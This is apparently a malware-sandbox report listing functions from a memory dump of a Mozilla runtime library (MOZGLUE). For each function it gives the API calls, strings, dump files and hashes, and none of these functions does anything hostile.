Function 6C210A70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6C1D37F0: ?ensureCapacitySlow@ProfilingStack@baseprofiler@mozilla@@AAEXXZ.MOZGLUE(?,?,?,?,6C22145F,baseprofiler::AddMarkerToBuffer,00000000,?,00000039,00000000), ref: 6C1D380A

Part of subcall function 6C208DC0: moz_xmalloc.MOZGLUE(00000038,?,?,00000000,?,6C2206E6,?,?,00000008,?,?,?,?,?,?,?), ref: 6C208DCC

Part of subcall function 6C210B60: moz_xmalloc.MOZGLUE(00000080,?,?,?,?,6C21138F,?,?,?), ref: 6C210B80

?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,00000001,?,?,6C21138F,?,?,?), ref: 6C210B27
free.MOZGLUE(?,?,?,?,?,6C21138F,?,?,?), ref: 6C210B3F

Strings

baseprofiler::profiler_capture_backtrace, xrefs: 6C210AB5

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: moz_xmalloc$?ensure?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CapacityCaptureChunkedOptions@2@@ProfileProfilingSlow@StackStack@baseprofiler@mozilla@@free
String ID: baseprofiler::profiler_capture_backtrace
API String ID: 3592261714-147032715
Opcode ID: 05c91a9a4006b17ecbbf71dd75e42bd0fbecff093fdcc94c94dd52606b628fae
Instruction ID: 6ce97add77110280fa995419f21e93b7ea7c31784bae4578e4307c8da6894f36
Opcode Fuzzy Hash: 05c91a9a4006b17ecbbf71dd75e42bd0fbecff093fdcc94c94dd52606b628fae
Instruction Fuzzy Hash: 1221ADB5B042499BEB04DF54C854BBBB3F9AF85308F10402DEE159BB80DB70AA15CBA1

Function 6C1CF180 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(?,?), ref: 6C1CF19B

Part of subcall function 6C1ED850: EnterCriticalSection.KERNEL32(?), ref: 6C1ED904
Part of subcall function 6C1ED850: LeaveCriticalSection.KERNEL32(?), ref: 6C1ED971
Part of subcall function 6C1ED850: memset.VCRUNTIME140(?,00000000,?), ref: 6C1ED97B

mozalloc_abort.MOZGLUE(?), ref: 6C1CF209

Strings

d, xrefs: 6C1CF1F5

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$EnterLeavecallocmemsetmozalloc_abort
String ID: d
API String ID: 3775194440-2564639436
Opcode ID: a0444e9d918c2b42696f08298e20266af10ca58623c48f0e887a4607e41a7a11
Instruction ID: 39a5dd0634179cfcff68b705cfddfa1e4c98c4bfb18a36c9df31e2b3419b1eff
Opcode Fuzzy Hash: a0444e9d918c2b42696f08298e20266af10ca58623c48f0e887a4607e41a7a11
Instruction Fuzzy Hash: 04113A36B0164987EB048F58C9551FEB376DFA6208B119119EC15AB652EB74D984C381

Function 6C1DCA10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?), ref: 6C1DCA26

Part of subcall function 6C1DCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C1DCB49
Part of subcall function 6C1DCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C1DCBB6

mozalloc_abort.MOZGLUE(?), ref: 6C1DCAA2

Strings

d, xrefs: 6C1DCA6C

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$EnterLeavemallocmozalloc_abort
String ID: d
API String ID: 3517139297-2564639436
Opcode ID: b9b2d01fcbc340234e5e4f13eb130c4f64e042d979eedbd9765ef8c034882acf
Instruction ID: dab6a70cbfdc7054e953b60355465bdfe131dec15faedc83ff7630e775aaa153
Opcode Fuzzy Hash: b9b2d01fcbc340234e5e4f13eb130c4f64e042d979eedbd9765ef8c034882acf
Instruction Fuzzy Hash: 34114422E0068883DB00EB68C8240FDF3B5EF96208F469759DC49AB353FB70A5C8C380

Function 6C203CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C203D19
mozalloc_abort.MOZGLUE(?), ref: 6C203D6C

Strings

d, xrefs: 6C203D58

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 39103af8b8700fa7dc1c86aecb0365a8a150b8dfd566110f7e76f4d59653e4f4
Instruction ID: f3e92d9551731e6883def940298a4abc5933dd4d1409448322e46febe4bb0874
Opcode Fuzzy Hash: 39103af8b8700fa7dc1c86aecb0365a8a150b8dfd566110f7e76f4d59653e4f4
Instruction Fuzzy Hash: CD110139F0468D9BEB00DF69C8188EDB775FF86318B44821AEC489B642FB30A584C390

Function 6C1E1A50 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

realloc.MOZGLUE(?,?), ref: 6C1E1A6B

Part of subcall function 6C1E1AF0: EnterCriticalSection.KERNEL32(?), ref: 6C1E1C36

mozalloc_abort.MOZGLUE(?), ref: 6C1E1AE7

Strings

d, xrefs: 6C1E1AB1

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalEnterSectionmozalloc_abortrealloc
String ID: d
API String ID: 2670432147-2564639436
Opcode ID: 53be866ed1f1a9d5c5cbf8165ee8b0d8d6e7e6cbc6c2788d5dd345335e7a8808
Instruction ID: e4162f72076a757116791a9ca5fa7383eef45c264c5ddfd04ef5f60b31337aa2
Opcode Fuzzy Hash: 53be866ed1f1a9d5c5cbf8165ee8b0d8d6e7e6cbc6c2788d5dd345335e7a8808
Instruction Fuzzy Hash: FC113622E0069C83DB04DBA8C8144FEB375EFD9208F048619ED49AB753EB70E5C4C380

Function 6C1D4730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C1D44B2,6C24E21C,6C24F7F8), ref: 6C1D473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI,?,?,?,?,6C1D44B2,6C24E21C,6C24F7F8), ref: 6C1D474A

Strings

GetNtLoaderAPI, xrefs: 6C1D4744

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: 2157a03481c343d2a8a313848b7a6a52d1fa5382ef8e238ada982bf1fe8f96f5
Instruction ID: 3f22869c83074b5f84fad2be261afbd14fc5693b657189e3361033ed3e0023c4
Opcode Fuzzy Hash: 2157a03481c343d2a8a313848b7a6a52d1fa5382ef8e238ada982bf1fe8f96f5
Instruction Fuzzy Hash: F80192797002148FEF04AF66C858A2E7BB9EB9B715B458069ED05CB380DB74E801CF91

Function 6C226DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C226E22
__Init_thread_footer.LIBCMT ref: 6C226E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C226E1D

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: b4a6ab34a80f0b5a3ed1c299660b618c5ae7b8342242e7f0e0fd1f999eb2e9c7
Instruction ID: cf95cfe9f96b821f0621b695eeae65827f7c5627ef65c2d3120fbf7036cce349
Opcode Fuzzy Hash: b4a6ab34a80f0b5a3ed1c299660b618c5ae7b8342242e7f0e0fd1f999eb2e9c7
Instruction Fuzzy Hash: A6F05936204289CBEB00EBA8C898E937772939331DF048165DC3046BD1D768A517CA93

Function 6C1D9E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C1D9EEF

Strings

NaN, xrefs: 6C1D9EC1
Infinity, xrefs: 6C1D9EB7

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 816e4f301ac0b0d92c7e8d10e411dc40f8322df8a0a352e9296f0acbb5ad334e
Instruction ID: 7d98dadeec6b8c220a782777b74bd9ce3935aa40040247e591114f9b9a541f90
Opcode Fuzzy Hash: 816e4f301ac0b0d92c7e8d10e411dc40f8322df8a0a352e9296f0acbb5ad334e
Instruction Fuzzy Hash: 4BF0AF79600246CBDB01EF58E95D75373B1A38B30DF218A54CD040ABC0D7756586CA82

Function 6C1D6C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K l,?,6C204B30,80000000,?,6C204AB7,?,6C1C43CF,?,6C1C42D2), ref: 6C1D6C42

Part of subcall function 6C1DCA10: malloc.MOZGLUE(?), ref: 6C1DCA26

moz_xmalloc.MOZGLUE(0K l,?,6C204B30,80000000,?,6C204AB7,?,6C1C43CF,?,6C1C42D2), ref: 6C1D6C58

Strings

0K l, xrefs: 6C1D6C33, 6C1D6C41, 6C1D6C57

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K l
API String ID: 1967447596-2082491469
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: b7a0dbf2a9c5b5788b03064fe3f5f4f1061a0f0c2602e5e9a37dfabe82011989
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: DEE086F1A105094A9B0899B8AC1966A73C88B642E87064E75E822C6BD8FA58F5548151

Function 6C225900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

SetEnvironmentVariableW.KERNEL32(MOZ_SKELETON_UI_RESTARTING,6C2451C8), ref: 6C22591A
CloseHandle.KERNEL32(FFFFFFFF), ref: 6C22592B

Strings

MOZ_SKELETON_UI_RESTARTING, xrefs: 6C225915

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CloseEnvironmentHandleVariable
String ID: MOZ_SKELETON_UI_RESTARTING
API String ID: 297244470-335682676
Opcode ID: ec4cb07ad0dabd9eadae649488c222cdd1a760b6a6e49a0c5df24841cbc7f552
Instruction ID: 0f85db544a235897957b83127653494da5da842f9b1946ed59274c34539b32d1
Opcode Fuzzy Hash: ec4cb07ad0dabd9eadae649488c222cdd1a760b6a6e49a0c5df24841cbc7f552
Instruction Fuzzy Hash: A8E09230204648FBDB00DA6CC50CB457BE49B1332EF10C514FDA987AC1C3B55840DBD1

Function 6C1D3850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C24F860), ref: 6C1D385C
ReleaseSRWLockExclusive.KERNEL32(6C24F860,?), ref: 6C1D3871

Strings

,$l, xrefs: 6C1D387A

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,$l
API String ID: 17069307-1448332218
Opcode ID: 49a137605bf83db8dfc58f189f0d6ba7145d5066029d3be4b184bbad5415d9e6
Instruction ID: 7f4b3dff1065e5299018a409a29559bac8cb1ed9e0aec65144b13835ffe5ddfd
Opcode Fuzzy Hash: 49a137605bf83db8dfc58f189f0d6ba7145d5066029d3be4b184bbad5415d9e6
Instruction Fuzzy Hash: 87E0DF35A01A1C97CB06EFA6C40958BBB78EE83A98746C245EC0A1BE00C730A081C7D5

Function 6C1DBED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C1DBEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C1DBEF5

Strings

cryptbase.dll, xrefs: 6C1DBEF0

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: e9daa20b5393d3db73d57d9c9e393c50c511ec1c6687df4ff90022e59dc07d31
Instruction ID: fc973a8249c1876b431e2df42943e74bc4d650fecb71136b684691e436f6dba9
Opcode Fuzzy Hash: e9daa20b5393d3db73d57d9c9e393c50c511ec1c6687df4ff90022e59dc07d31
Instruction Fuzzy Hash: D8D0A731384508E7C604BA54CC09F1937B49701319F50C020FB0644891C7B0A410CB40

Function 6C1C50E0 Relevance: 5.2, APIs: 4, Instructions: 213COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C1C4E9C,?,?,?,?,?), ref: 6C1C510A
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C1C4E9C,?,?,?,?,?), ref: 6C1C5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6C1C5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6C1C4E9C), ref: 6C1C5234

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: 53818860483805295580f7fbd5168064c254b3f503646d74cbbc23dd160fca33
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: 3E91B175605616CFCB14CF08C890A56BBA1FFAA358B29868CEC589B715D335FC42CBE1

Function 6C2008F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C24E7DC), ref: 6C200918
LeaveCriticalSection.KERNEL32(6C24E7DC), ref: 6C2009A6
EnterCriticalSection.KERNEL32(6C24E7DC,?,00000000), ref: 6C2009F3
LeaveCriticalSection.KERNEL32(6C24E7DC), ref: 6C200ACB

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 9859a89507b9034cae35d2249635e4e6835c4b8e02da15472c4aa9062dc357c7
Instruction ID: 30bd04fb6fe42ba76a60df61970f1ca6fd4d67986579df8c49e6379dc1c22071
Opcode Fuzzy Hash: 9859a89507b9034cae35d2249635e4e6835c4b8e02da15472c4aa9062dc357c7
Instruction Fuzzy Hash: 4F51073270195D8BFB08EE55C415B2AB3A1EBC6B39B25813BED6597FC0D730A801CAD1

Function 6C2259C0 Relevance: 5.2, APIs: 4, Instructions: 155COMMON

Download Yara Rule

APIs

malloc.MOZGLUE(?,?,?,?,?,?,?,?,00000008,?,6C1FE56A,?,|UrlbarCSSSpan,0000000E,?), ref: 6C225A47
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,00000008,?,6C1FE56A,?,|UrlbarCSSSpan), ref: 6C225A5C
free.MOZGLUE(?), ref: 6C225A97
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000010), ref: 6C225B9D

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: free$mallocmemset
String ID:
API String ID: 2682772760-0
Opcode ID: cfb9d132c6ac55ccdabead07044c22d01124db203207c2b4c6a1cf4251abbb7b
Instruction ID: bb38bad4a4d0c0fe8a274c33cb6250801a72216ebc4043e0a98178d04e38b5c4
Opcode Fuzzy Hash: cfb9d132c6ac55ccdabead07044c22d01124db203207c2b4c6a1cf4251abbb7b
Instruction Fuzzy Hash: 01516D705087449FD701CF29C8C5B1ABBE5EF89318F04C96DF8899B646D778D944CB62

Function 6C21B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C21B2C9,?,?,?,6C21B127,?,?,?,?,?,?,?,?,?,6C21AE52), ref: 6C21B628

Part of subcall function 6C2190E0: free.MOZGLUE(?,00000000,?,?,6C21DEDB), ref: 6C2190FF
Part of subcall function 6C2190E0: free.MOZGLUE(?,00000000,?,?,6C21DEDB), ref: 6C219108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C21B2C9,?,?,?,6C21B127,?,?,?,?,?,?,?,?,?,6C21AE52), ref: 6C21B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C21B2C9,?,?,?,6C21B127,?,?,?,?,?,?,?,?,?,6C21AE52), ref: 6C21B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C21B127,?,?,?,?,?,?,?,?), ref: 6C21B74D

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: f0119ca2768d9adbd9234a4fb795a38bc015ed0101a9b529d873f6f113d36389
Instruction ID: 3f49135aad1f1f302cfe73166e711f0869050126ea2192923422acd33d2c6f84
Opcode Fuzzy Hash: f0119ca2768d9adbd9234a4fb795a38bc015ed0101a9b529d873f6f113d36389
Instruction Fuzzy Hash: CA51E1B2A0921A8FDB14CF18C98465EB7F5FF85305F15852DDE5AABB00DB31A805CBA1

Function 6C21DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C20FF2A), ref: 6C21DFFD

Part of subcall function 6C2190E0: free.MOZGLUE(?,00000000,?,?,6C21DEDB), ref: 6C2190FF
Part of subcall function 6C2190E0: free.MOZGLUE(?,00000000,?,?,6C21DEDB), ref: 6C219108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C20FF2A), ref: 6C21E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C20FF2A), ref: 6C21E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C20FF2A), ref: 6C21E0FE

Memory Dump Source

Source File: 00000008.00000002.2779603638.000000006C1C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C1C0000, based on PE: true

Associated: 00000008.00000002.2779503366.000000006C1C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779820705.000000006C23D000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779928905.000000006C24E000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2779976035.000000006C252000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6c1c0000_8ec8c5c339.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 314c65bdd9af0cd54b6e87b2c126b2210e9d8c62b43f10d598f5c38ff351ef9e
Instruction ID: 47eb438fcda46c423fb23117622aa913a3665232bc4a41009391ef5daf624815
Opcode Fuzzy Hash: 314c65bdd9af0cd54b6e87b2c126b2210e9d8c62b43f10d598f5c38ff351ef9e
Instruction Fuzzy Hash: 5341A2B160821A8FEB14CF68DC8475A77F6BB45318F154529DA16EBF40EB32E904CB92

Function 6C226180 Relevance: 5.1, APIs: 4, Instructions: 107COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C2261DD
memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C22622C
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C226250
